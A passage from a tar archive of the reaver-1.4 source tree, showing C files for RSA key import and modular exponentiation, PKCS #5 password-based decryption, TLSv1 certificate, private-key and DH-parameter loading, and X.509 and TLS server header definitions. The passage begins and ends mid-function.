hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE " "(public key) - found class %d tag 0x%x", hdr.class, hdr.tag); goto error; } pos = hdr.payload; end = pos + hdr.length; pos = crypto_rsa_parse_integer(pos, end, key->n); pos = crypto_rsa_parse_integer(pos, end, key->e); if (pos == NULL) goto error; if (pos != end) { wpa_hexdump(MSG_DEBUG, "RSA: Extra data in public key SEQUENCE", pos, end - pos); goto error; } return key; error: crypto_rsa_free(key); return NULL; } /** * crypto_rsa_import_private_key - Import an RSA private key * @buf: Key buffer (DER encoded RSA private key) * @len: Key buffer length in bytes * Returns: Pointer to the private key or %NULL on failure */ struct crypto_rsa_key * crypto_rsa_import_private_key(const u8 *buf, size_t len) { struct crypto_rsa_key *key; struct bignum *zero; struct asn1_hdr hdr; const u8 *pos, *end; key = os_zalloc(sizeof(*key)); if (key == NULL) return NULL; key->private_key = 1; key->n = bignum_init(); key->e = bignum_init(); key->d = bignum_init(); key->p = bignum_init(); key->q = bignum_init(); key->dmp1 = bignum_init(); key->dmq1 = bignum_init(); key->iqmp = bignum_init(); if (key->n == NULL || key->e == NULL || key->d == NULL || key->p == NULL || key->q == NULL || key->dmp1 == NULL || key->dmq1 == NULL || key->iqmp == NULL) { crypto_rsa_free(key); return NULL; } /* * PKCS #1, 7.2: * RSAPrivateKey ::= SEQUENCE { * version Version, * modulus INTEGER, -- n * publicExponent INTEGER, -- e * privateExponent INTEGER, -- d * prime1 INTEGER, -- p * prime2 INTEGER, -- q * exponent1 INTEGER, -- d mod (p-1) * exponent2 INTEGER, -- d mod (q-1) * coefficient INTEGER -- (inverse of q) mod p * } * * Version ::= INTEGER -- shall be 0 for this version of the standard */ if (asn1_get_next(buf, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE " "(public key) - found class %d tag 0x%x", hdr.class, hdr.tag); goto error; } pos = hdr.payload; end = pos + hdr.length; zero = bignum_init(); if (zero == NULL) goto error; pos = crypto_rsa_parse_integer(pos, end, zero); if (pos == NULL || bignum_cmp_d(zero, 0) != 0) { wpa_printf(MSG_DEBUG, "RSA: Expected zero INTEGER in the " "beginning of private key; not found"); bignum_deinit(zero); goto error; } bignum_deinit(zero); pos = crypto_rsa_parse_integer(pos, end, key->n); pos = crypto_rsa_parse_integer(pos, end, key->e); pos = crypto_rsa_parse_integer(pos, end, key->d); pos = crypto_rsa_parse_integer(pos, end, key->p); pos = crypto_rsa_parse_integer(pos, end, key->q); pos = crypto_rsa_parse_integer(pos, end, key->dmp1); pos = crypto_rsa_parse_integer(pos, end, key->dmq1); pos = crypto_rsa_parse_integer(pos, end, key->iqmp); if (pos == NULL) goto error; if (pos != end) { wpa_hexdump(MSG_DEBUG, "RSA: Extra data in public key SEQUENCE", pos, end - pos); goto error; } return key; error: crypto_rsa_free(key); return NULL; } /** * crypto_rsa_get_modulus_len - Get the modulus length of the RSA key * @key: RSA key * Returns: Modulus length of the key */ size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key) { return bignum_get_unsigned_bin_len(key->n); } /** * crypto_rsa_exptmod - RSA modular exponentiation * @in: Input data * @inlen: Input data length * @out: Buffer for output data * @outlen: Maximum size of the output buffer and used size on success * @key: RSA key * @use_private: 1 = Use RSA private key, 0 = Use RSA public key * Returns: 0 on success, -1 on failure */ int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen, struct crypto_rsa_key *key, int use_private) { struct bignum *tmp, *a = NULL, *b = NULL; int ret = -1; size_t modlen; if (use_private && !key->private_key) return -1; tmp = bignum_init(); if (tmp == NULL) return -1; if (bignum_set_unsigned_bin(tmp, in, inlen) < 0) goto error; if (bignum_cmp(key->n, tmp) < 0) { /* Too large input value for the RSA key modulus */ goto error; } if (use_private) { /* * Decrypt (or sign) using Chinese remainer theorem to speed * up calculation. This is equivalent to tmp = tmp^d mod n * (which would require more CPU to calculate directly). * * dmp1 = (1/e) mod (p-1) * dmq1 = (1/e) mod (q-1) * iqmp = (1/q) mod p, where p > q * m1 = c^dmp1 mod p * m2 = c^dmq1 mod q * h = q^-1 (m1 - m2) mod p * m = m2 + hq */ a = bignum_init(); b = bignum_init(); if (a == NULL || b == NULL) goto error; /* a = tmp^dmp1 mod p */ if (bignum_exptmod(tmp, key->dmp1, key->p, a) < 0) goto error; /* b = tmp^dmq1 mod q */ if (bignum_exptmod(tmp, key->dmq1, key->q, b) < 0) goto error; /* tmp = (a - b) * (1/q mod p) (mod p) */ if (bignum_sub(a, b, tmp) < 0 || bignum_mulmod(tmp, key->iqmp, key->p, tmp) < 0) goto error; /* tmp = b + q * tmp */ if (bignum_mul(tmp, key->q, tmp) < 0 || bignum_add(tmp, b, tmp) < 0) goto error; } else { /* Encrypt (or verify signature) */ /* tmp = tmp^e mod N */ if (bignum_exptmod(tmp, key->e, key->n, tmp) < 0) goto error; } modlen = crypto_rsa_get_modulus_len(key); if (modlen > *outlen) { *outlen = modlen; goto error; } if (bignum_get_unsigned_bin_len(tmp) > modlen) goto error; /* should never happen */ *outlen = modlen; os_memset(out, 0, modlen); if (bignum_get_unsigned_bin( tmp, out + (modlen - bignum_get_unsigned_bin_len(tmp)), NULL) < 0) goto error; ret = 0; error: bignum_deinit(tmp); bignum_deinit(a); bignum_deinit(b); return ret; } /** * crypto_rsa_free - Free RSA key * @key: RSA key to be freed * * This function frees an RSA key imported with either * crypto_rsa_import_public_key() or crypto_rsa_import_private_key(). */ void crypto_rsa_free(struct crypto_rsa_key *key) { if (key) { bignum_deinit(key->n); bignum_deinit(key->e); bignum_deinit(key->d); bignum_deinit(key->p); bignum_deinit(key->q); bignum_deinit(key->dmp1); bignum_deinit(key->dmq1); bignum_deinit(key->iqmp); os_free(key); } } reaver-1.4/src/tls/pkcs5.c0000755000175000017500000001403011705505260014760 0ustar reaverreaver/* * PKCS #5 (Password-based Encryption) * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/crypto.h" #include "crypto/md5.h" #include "asn1.h" #include "pkcs5.h" struct pkcs5_params { enum pkcs5_alg { PKCS5_ALG_UNKNOWN, PKCS5_ALG_MD5_DES_CBC } alg; u8 salt[8]; size_t salt_len; unsigned int iter_count; }; enum pkcs5_alg pkcs5_get_alg(struct asn1_oid *oid) { if (oid->len == 7 && oid->oid[0] == 1 /* iso */ && oid->oid[1] == 2 /* member-body */ && oid->oid[2] == 840 /* us */ && oid->oid[3] == 113549 /* rsadsi */ && oid->oid[4] == 1 /* pkcs */ && oid->oid[5] == 5 /* pkcs-5 */ && oid->oid[6] == 3 /* pbeWithMD5AndDES-CBC */) return PKCS5_ALG_MD5_DES_CBC; return PKCS5_ALG_UNKNOWN; } static int pkcs5_get_params(const u8 *enc_alg, size_t enc_alg_len, struct pkcs5_params *params) { struct asn1_hdr hdr; const u8 *enc_alg_end, *pos, *end; struct asn1_oid oid; char obuf[80]; /* AlgorithmIdentifier */ enc_alg_end = enc_alg + enc_alg_len; os_memset(params, 0, sizeof(*params)); if (asn1_get_oid(enc_alg, enc_alg_end - enc_alg, &oid, &pos)) { wpa_printf(MSG_DEBUG, "PKCS #5: Failed to parse OID " "(algorithm)"); return -1; } asn1_oid_to_str(&oid, obuf, sizeof(obuf)); wpa_printf(MSG_DEBUG, "PKCS #5: encryption algorithm %s", obuf); params->alg = pkcs5_get_alg(&oid); if (params->alg == PKCS5_ALG_UNKNOWN) { wpa_printf(MSG_INFO, "PKCS #5: unsupported encryption " "algorithm %s", obuf); return -1; } /* * PKCS#5, Section 8 * PBEParameter ::= SEQUENCE { * salt OCTET STRING SIZE(8), * iterationCount INTEGER } */ if (asn1_get_next(pos, enc_alg_end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "PKCS #5: Expected SEQUENCE " "(PBEParameter) - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; end = hdr.payload + hdr.length; /* salt OCTET STRING SIZE(8) */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING || hdr.length != 8) { wpa_printf(MSG_DEBUG, "PKCS #5: Expected OCTETSTRING SIZE(8) " "(salt) - found class %d tag 0x%x size %d", hdr.class, hdr.tag, hdr.length); return -1; } pos = hdr.payload + hdr.length; os_memcpy(params->salt, hdr.payload, hdr.length); params->salt_len = hdr.length; wpa_hexdump(MSG_DEBUG, "PKCS #5: salt", params->salt, params->salt_len); /* iterationCount INTEGER */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "PKCS #5: Expected INTEGER - found " "class %d tag 0x%x", hdr.class, hdr.tag); return -1; } if (hdr.length == 1) params->iter_count = *hdr.payload; else if (hdr.length == 2) params->iter_count = WPA_GET_BE16(hdr.payload); else if (hdr.length == 4) params->iter_count = WPA_GET_BE32(hdr.payload); else { wpa_hexdump(MSG_DEBUG, "PKCS #5: Unsupported INTEGER value " " (iterationCount)", hdr.payload, hdr.length); return -1; } wpa_printf(MSG_DEBUG, "PKCS #5: iterationCount=0x%x", params->iter_count); if (params->iter_count == 0 || params->iter_count > 0xffff) { wpa_printf(MSG_INFO, "PKCS #5: Unsupported " "iterationCount=0x%x", params->iter_count); return -1; } return 0; } static struct crypto_cipher * pkcs5_crypto_init(struct pkcs5_params *params, const char *passwd) { unsigned int i; u8 hash[MD5_MAC_LEN]; const u8 *addr[2]; size_t len[2]; if (params->alg != PKCS5_ALG_MD5_DES_CBC) return NULL; addr[0] = (const u8 *) passwd; len[0] = os_strlen(passwd); addr[1] = params->salt; len[1] = params->salt_len; if (md5_vector(2, addr, len, hash) < 0) return NULL; addr[0] = hash; len[0] = MD5_MAC_LEN; for (i = 1; i < params->iter_count; i++) { if (md5_vector(1, addr, len, hash) < 0) return NULL; } /* TODO: DES key parity bits(?) */ wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES key", hash, 8); wpa_hexdump_key(MSG_DEBUG, "PKCS #5: DES IV", hash + 8, 8); return crypto_cipher_init(CRYPTO_CIPHER_ALG_DES, hash + 8, hash, 8); } u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len, const u8 *enc_data, size_t enc_data_len, const char *passwd, size_t *data_len) { struct crypto_cipher *ctx; u8 *eb, pad; struct pkcs5_params params; unsigned int i; if (pkcs5_get_params(enc_alg, enc_alg_len, ¶ms) < 0) { wpa_printf(MSG_DEBUG, "PKCS #5: Unsupported parameters"); return NULL; } ctx = pkcs5_crypto_init(¶ms, passwd); if (ctx == NULL) { wpa_printf(MSG_DEBUG, "PKCS #5: Failed to initialize crypto"); return NULL; } /* PKCS #5, Section 7 - Decryption process */ if (enc_data_len < 16 || enc_data_len % 8) { wpa_printf(MSG_INFO, "PKCS #5: invalid length of ciphertext " "%d", (int) enc_data_len); crypto_cipher_deinit(ctx); return NULL; } eb = os_malloc(enc_data_len); if (eb == NULL) { crypto_cipher_deinit(ctx); return NULL; } if (crypto_cipher_decrypt(ctx, enc_data, eb, enc_data_len) < 0) { wpa_printf(MSG_DEBUG, "PKCS #5: Failed to decrypt EB"); crypto_cipher_deinit(ctx); os_free(eb); return NULL; } crypto_cipher_deinit(ctx); pad = eb[enc_data_len - 1]; if (pad > 8) { wpa_printf(MSG_INFO, "PKCS #5: Invalid PS octet 0x%x", pad); os_free(eb); return NULL; } for (i = enc_data_len - pad; i < enc_data_len; i++) { if (eb[i] != pad) { wpa_hexdump(MSG_INFO, "PKCS #5: Invalid PS", eb + enc_data_len - pad, pad); os_free(eb); return NULL; } } wpa_hexdump_key(MSG_MSGDUMP, "PKCS #5: message M (encrypted key)", eb, enc_data_len - pad); *data_len = enc_data_len - pad; return eb; } reaver-1.4/src/tls/tlsv1_cred.c0000755000175000017500000002741611705505260016015 0ustar reaverreaver/* * TLSv1 credentials * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "base64.h" #include "crypto/crypto.h" #include "x509v3.h" #include "tlsv1_cred.h" struct tlsv1_credentials * tlsv1_cred_alloc(void) { struct tlsv1_credentials *cred; cred = os_zalloc(sizeof(*cred)); return cred; } void tlsv1_cred_free(struct tlsv1_credentials *cred) { if (cred == NULL) return; x509_certificate_chain_free(cred->trusted_certs); x509_certificate_chain_free(cred->cert); crypto_private_key_free(cred->key); os_free(cred->dh_p); os_free(cred->dh_g); os_free(cred); } static int tlsv1_add_cert_der(struct x509_certificate **chain, const u8 *buf, size_t len) { struct x509_certificate *cert; char name[128]; cert = x509_certificate_parse(buf, len); if (cert == NULL) { wpa_printf(MSG_INFO, "TLSv1: %s - failed to parse certificate", __func__); return -1; } cert->next = *chain; *chain = cert; x509_name_string(&cert->subject, name, sizeof(name)); wpa_printf(MSG_DEBUG, "TLSv1: Added certificate: %s", name); return 0; } static const char *pem_cert_begin = "-----BEGIN CERTIFICATE-----"; static const char *pem_cert_end = "-----END CERTIFICATE-----"; static const char *pem_key_begin = "-----BEGIN RSA PRIVATE KEY-----"; static const char *pem_key_end = "-----END RSA PRIVATE KEY-----"; static const char *pem_key2_begin = "-----BEGIN PRIVATE KEY-----"; static const char *pem_key2_end = "-----END PRIVATE KEY-----"; static const char *pem_key_enc_begin = "-----BEGIN ENCRYPTED PRIVATE KEY-----"; static const char *pem_key_enc_end = "-----END ENCRYPTED PRIVATE KEY-----"; static const u8 * search_tag(const char *tag, const u8 *buf, size_t len) { size_t i, plen; plen = os_strlen(tag); if (len < plen) return NULL; for (i = 0; i < len - plen; i++) { if (os_memcmp(buf + i, tag, plen) == 0) return buf + i; } return NULL; } static int tlsv1_add_cert(struct x509_certificate **chain, const u8 *buf, size_t len) { const u8 *pos, *end; unsigned char *der; size_t der_len; pos = search_tag(pem_cert_begin, buf, len); if (!pos) { wpa_printf(MSG_DEBUG, "TLSv1: No PEM certificate tag found - " "assume DER format"); return tlsv1_add_cert_der(chain, buf, len); } wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format certificate into " "DER format"); while (pos) { pos += os_strlen(pem_cert_begin); end = search_tag(pem_cert_end, pos, buf + len - pos); if (end == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not find PEM " "certificate end tag (%s)", pem_cert_end); return -1; } der = base64_decode(pos, end - pos, &der_len); if (der == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM " "certificate"); return -1; } if (tlsv1_add_cert_der(chain, der, der_len) < 0) { wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM " "certificate after DER conversion"); os_free(der); return -1; } os_free(der); end += os_strlen(pem_cert_end); pos = search_tag(pem_cert_begin, end, buf + len - end); } return 0; } static int tlsv1_set_cert_chain(struct x509_certificate **chain, const char *cert, const u8 *cert_blob, size_t cert_blob_len) { if (cert_blob) return tlsv1_add_cert(chain, cert_blob, cert_blob_len); if (cert) { u8 *buf; size_t len; int ret; buf = (u8 *) os_readfile(cert, &len); if (buf == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", cert); return -1; } ret = tlsv1_add_cert(chain, buf, len); os_free(buf); return ret; } return 0; } /** * tlsv1_set_ca_cert - Set trusted CA certificate(s) * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @cert: File or reference name for X.509 certificate in PEM or DER format * @cert_blob: cert as inlined data or %NULL if not used * @cert_blob_len: ca_cert_blob length * @path: Path to CA certificates (not yet supported) * Returns: 0 on success, -1 on failure */ int tlsv1_set_ca_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len, const char *path) { if (tlsv1_set_cert_chain(&cred->trusted_certs, cert, cert_blob, cert_blob_len) < 0) return -1; if (path) { /* TODO: add support for reading number of certificate files */ wpa_printf(MSG_INFO, "TLSv1: Use of CA certificate directory " "not yet supported"); return -1; } return 0; } /** * tlsv1_set_cert - Set certificate * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @cert: File or reference name for X.509 certificate in PEM or DER format * @cert_blob: cert as inlined data or %NULL if not used * @cert_blob_len: cert_blob length * Returns: 0 on success, -1 on failure */ int tlsv1_set_cert(struct tlsv1_credentials *cred, const char *cert, const u8 *cert_blob, size_t cert_blob_len) { return tlsv1_set_cert_chain(&cred->cert, cert, cert_blob, cert_blob_len); } static struct crypto_private_key * tlsv1_set_key_pem(const u8 *key, size_t len) { const u8 *pos, *end; unsigned char *der; size_t der_len; struct crypto_private_key *pkey; pos = search_tag(pem_key_begin, key, len); if (!pos) { pos = search_tag(pem_key2_begin, key, len); if (!pos) return NULL; pos += os_strlen(pem_key2_begin); end = search_tag(pem_key2_end, pos, key + len - pos); if (!end) return NULL; } else { pos += os_strlen(pem_key_begin); end = search_tag(pem_key_end, pos, key + len - pos); if (!end) return NULL; } der = base64_decode(pos, end - pos, &der_len); if (!der) return NULL; pkey = crypto_private_key_import(der, der_len, NULL); os_free(der); return pkey; } static struct crypto_private_key * tlsv1_set_key_enc_pem(const u8 *key, size_t len, const char *passwd) { const u8 *pos, *end; unsigned char *der; size_t der_len; struct crypto_private_key *pkey; if (passwd == NULL) return NULL; pos = search_tag(pem_key_enc_begin, key, len); if (!pos) return NULL; pos += os_strlen(pem_key_enc_begin); end = search_tag(pem_key_enc_end, pos, key + len - pos); if (!end) return NULL; der = base64_decode(pos, end - pos, &der_len); if (!der) return NULL; pkey = crypto_private_key_import(der, der_len, passwd); os_free(der); return pkey; } static int tlsv1_set_key(struct tlsv1_credentials *cred, const u8 *key, size_t len, const char *passwd) { cred->key = crypto_private_key_import(key, len, passwd); if (cred->key == NULL) cred->key = tlsv1_set_key_pem(key, len); if (cred->key == NULL) cred->key = tlsv1_set_key_enc_pem(key, len, passwd); if (cred->key == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to parse private key"); return -1; } return 0; } /** * tlsv1_set_private_key - Set private key * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @private_key: File or reference name for the key in PEM or DER format * @private_key_passwd: Passphrase for decrypted private key, %NULL if no * passphrase is used. * @private_key_blob: private_key as inlined data or %NULL if not used * @private_key_blob_len: private_key_blob length * Returns: 0 on success, -1 on failure */ int tlsv1_set_private_key(struct tlsv1_credentials *cred, const char *private_key, const char *private_key_passwd, const u8 *private_key_blob, size_t private_key_blob_len) { crypto_private_key_free(cred->key); cred->key = NULL; if (private_key_blob) return tlsv1_set_key(cred, private_key_blob, private_key_blob_len, private_key_passwd); if (private_key) { u8 *buf; size_t len; int ret; buf = (u8 *) os_readfile(private_key, &len); if (buf == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", private_key); return -1; } ret = tlsv1_set_key(cred, buf, len, private_key_passwd); os_free(buf); return ret; } return 0; } static int tlsv1_set_dhparams_der(struct tlsv1_credentials *cred, const u8 *dh, size_t len) { struct asn1_hdr hdr; const u8 *pos, *end; pos = dh; end = dh + len; /* * DHParameter ::= SEQUENCE { * prime INTEGER, -- p * base INTEGER, -- g * privateValueLength INTEGER OPTIONAL } */ /* DHParamer ::= SEQUENCE */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "DH: DH parameters did not start with a " "valid SEQUENCE - found class %d tag 0x%x", hdr.class, hdr.tag); return -1; } pos = hdr.payload; /* prime INTEGER */ if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for p; " "class=%d tag=0x%x", hdr.class, hdr.tag); return -1; } wpa_hexdump(MSG_MSGDUMP, "DH: prime (p)", hdr.payload, hdr.length); if (hdr.length == 0) return -1; os_free(cred->dh_p); cred->dh_p = os_malloc(hdr.length); if (cred->dh_p == NULL) return -1; os_memcpy(cred->dh_p, hdr.payload, hdr.length); cred->dh_p_len = hdr.length; pos = hdr.payload + hdr.length; /* base INTEGER */ if (asn1_get_next(pos, end - pos, &hdr) < 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) { wpa_printf(MSG_DEBUG, "DH: No INTEGER tag found for g; " "class=%d tag=0x%x", hdr.class, hdr.tag); return -1; } wpa_hexdump(MSG_MSGDUMP, "DH: base (g)", hdr.payload, hdr.length); if (hdr.length == 0) return -1; os_free(cred->dh_g); cred->dh_g = os_malloc(hdr.length); if (cred->dh_g == NULL) return -1; os_memcpy(cred->dh_g, hdr.payload, hdr.length); cred->dh_g_len = hdr.length; return 0; } static const char *pem_dhparams_begin = "-----BEGIN DH PARAMETERS-----"; static const char *pem_dhparams_end = "-----END DH PARAMETERS-----"; static int tlsv1_set_dhparams_blob(struct tlsv1_credentials *cred, const u8 *buf, size_t len) { const u8 *pos, *end; unsigned char *der; size_t der_len; pos = search_tag(pem_dhparams_begin, buf, len); if (!pos) { wpa_printf(MSG_DEBUG, "TLSv1: No PEM dhparams tag found - " "assume DER format"); return tlsv1_set_dhparams_der(cred, buf, len); } wpa_printf(MSG_DEBUG, "TLSv1: Converting PEM format dhparams into DER " "format"); pos += os_strlen(pem_dhparams_begin); end = search_tag(pem_dhparams_end, pos, buf + len - pos); if (end == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not find PEM dhparams end " "tag (%s)", pem_dhparams_end); return -1; } der = base64_decode(pos, end - pos, &der_len); if (der == NULL) { wpa_printf(MSG_INFO, "TLSv1: Could not decode PEM dhparams"); return -1; } if (tlsv1_set_dhparams_der(cred, der, der_len) < 0) { wpa_printf(MSG_INFO, "TLSv1: Failed to parse PEM dhparams " "DER conversion"); os_free(der); return -1; } os_free(der); return 0; } /** * tlsv1_set_dhparams - Set Diffie-Hellman parameters * @cred: TLSv1 credentials from tlsv1_cred_alloc() * @dh_file: File or reference name for the DH params in PEM or DER format * @dh_blob: DH params as inlined data or %NULL if not used * @dh_blob_len: dh_blob length * Returns: 0 on success, -1 on failure */ int tlsv1_set_dhparams(struct tlsv1_credentials *cred, const char *dh_file, const u8 *dh_blob, size_t dh_blob_len) { if (dh_blob) return tlsv1_set_dhparams_blob(cred, dh_blob, dh_blob_len); if (dh_file) { u8 *buf; size_t len; int ret; buf = (u8 *) os_readfile(dh_file, &len); if (buf == NULL) { wpa_printf(MSG_INFO, "TLSv1: Failed to read '%s'", dh_file); return -1; } ret = tlsv1_set_dhparams_blob(cred, buf, len); os_free(buf); return ret; } return 0; } reaver-1.4/src/tls/x509v3.h0000755000175000017500000000727211705505260014730 0ustar reaverreaver/* * X.509v3 certificate parsing and processing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef X509V3_H #define X509V3_H #include "asn1.h" struct x509_algorithm_identifier { struct asn1_oid oid; }; struct x509_name_attr { enum x509_name_attr_type { X509_NAME_ATTR_NOT_USED, X509_NAME_ATTR_DC, X509_NAME_ATTR_CN, X509_NAME_ATTR_C, X509_NAME_ATTR_L, X509_NAME_ATTR_ST, X509_NAME_ATTR_O, X509_NAME_ATTR_OU } type; char *value; }; #define X509_MAX_NAME_ATTRIBUTES 20 struct x509_name { struct x509_name_attr attr[X509_MAX_NAME_ATTRIBUTES]; size_t num_attr; char *email; /* emailAddress */ /* from alternative name extension */ char *alt_email; /* rfc822Name */ char *dns; /* dNSName */ char *uri; /* uniformResourceIdentifier */ u8 *ip; /* iPAddress */ size_t ip_len; /* IPv4: 4, IPv6: 16 */ struct asn1_oid rid; /* registeredID */ }; struct x509_certificate { struct x509_certificate *next; enum { X509_CERT_V1 = 0, X509_CERT_V2 = 1, X509_CERT_V3 = 2 } version; unsigned long serial_number; struct x509_algorithm_identifier signature; struct x509_name issuer; struct x509_name subject; os_time_t not_before; os_time_t not_after; struct x509_algorithm_identifier public_key_alg; u8 *public_key; size_t public_key_len; struct x509_algorithm_identifier signature_alg; u8 *sign_value; size_t sign_value_len; /* Extensions */ unsigned int extensions_present; #define X509_EXT_BASIC_CONSTRAINTS (1 << 0) #define X509_EXT_PATH_LEN_CONSTRAINT (1 << 1) #define X509_EXT_KEY_USAGE (1 << 2) #define X509_EXT_SUBJECT_ALT_NAME (1 << 3) #define X509_EXT_ISSUER_ALT_NAME (1 << 4) /* BasicConstraints */ int ca; /* cA */ unsigned long path_len_constraint; /* pathLenConstraint */ /* KeyUsage */ unsigned long key_usage; #define X509_KEY_USAGE_DIGITAL_SIGNATURE (1 << 0) #define X509_KEY_USAGE_NON_REPUDIATION (1 << 1) #define X509_KEY_USAGE_KEY_ENCIPHERMENT (1 << 2) #define X509_KEY_USAGE_DATA_ENCIPHERMENT (1 << 3) #define X509_KEY_USAGE_KEY_AGREEMENT (1 << 4) #define X509_KEY_USAGE_KEY_CERT_SIGN (1 << 5) #define X509_KEY_USAGE_CRL_SIGN (1 << 6) #define X509_KEY_USAGE_ENCIPHER_ONLY (1 << 7) #define X509_KEY_USAGE_DECIPHER_ONLY (1 << 8) /* * The DER format certificate follows struct x509_certificate. These * pointers point to that buffer. */ const u8 *cert_start; size_t cert_len; const u8 *tbs_cert_start; size_t tbs_cert_len; }; enum { X509_VALIDATE_OK, X509_VALIDATE_BAD_CERTIFICATE, X509_VALIDATE_UNSUPPORTED_CERTIFICATE, X509_VALIDATE_CERTIFICATE_REVOKED, X509_VALIDATE_CERTIFICATE_EXPIRED, X509_VALIDATE_CERTIFICATE_UNKNOWN, X509_VALIDATE_UNKNOWN_CA }; void x509_certificate_free(struct x509_certificate *cert); struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len); void x509_name_string(struct x509_name *name, char *buf, size_t len); int x509_name_compare(struct x509_name *a, struct x509_name *b); void x509_certificate_chain_free(struct x509_certificate *cert); int x509_certificate_check_signature(struct x509_certificate *issuer, struct x509_certificate *cert); int x509_certificate_chain_validate(struct x509_certificate *trusted, struct x509_certificate *chain, int *reason); struct x509_certificate * x509_certificate_get_subject(struct x509_certificate *chain, struct x509_name *name); int x509_certificate_self_signed(struct x509_certificate *cert); #endif /* X509V3_H */ reaver-1.4/src/tls/tlsv1_server_i.h0000755000175000017500000000401011705505260016704 0ustar reaverreaver/* * TLSv1 server - internal structures * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_SERVER_I_H #define TLSV1_SERVER_I_H struct tlsv1_server { enum { CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE, SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST, SERVER_HELLO_DONE, CLIENT_CERTIFICATE, CLIENT_KEY_EXCHANGE, CERTIFICATE_VERIFY, CHANGE_CIPHER_SPEC, CLIENT_FINISHED, SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED, ESTABLISHED, FAILED } state; struct tlsv1_record_layer rl; u8 session_id[TLS_SESSION_ID_MAX_LEN]; size_t session_id_len; u8 client_random[TLS_RANDOM_LEN]; u8 server_random[TLS_RANDOM_LEN]; u8 master_secret[TLS_MASTER_SECRET_LEN]; u8 alert_level; u8 alert_description; struct crypto_public_key *client_rsa_key; struct tls_verify_hash verify; #define MAX_CIPHER_COUNT 30 u16 cipher_suites[MAX_CIPHER_COUNT]; size_t num_cipher_suites; u16 cipher_suite; struct tlsv1_credentials *cred; int verify_peer; u16 client_version; u8 *session_ticket; size_t session_ticket_len; tlsv1_server_session_ticket_cb session_ticket_cb; void *session_ticket_cb_ctx; int use_session_ticket; u8 *dh_secret; size_t dh_secret_len; }; void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description); int tlsv1_server_derive_keys(struct tlsv1_server *conn, const u8 *pre_master_secret, size_t pre_master_secret_len); u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len); u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level, u8 description, size_t *out_len); int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct, const u8 *buf, size_t *len); #endif /* TLSV1_SERVER_I_H */ reaver-1.4/src/tls/tlsv1_client.c0000755000175000017500000004345311705505260016355 0ustar reaverreaver/* * TLSv1 client (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_client.h" #include "tlsv1_client_i.h" /* TODO: * Support for a message fragmented across several records (RFC 2246, 6.2.1) */ void tls_alert(struct tlsv1_client *conn, u8 level, u8 description) { conn->alert_level = level; conn->alert_description = 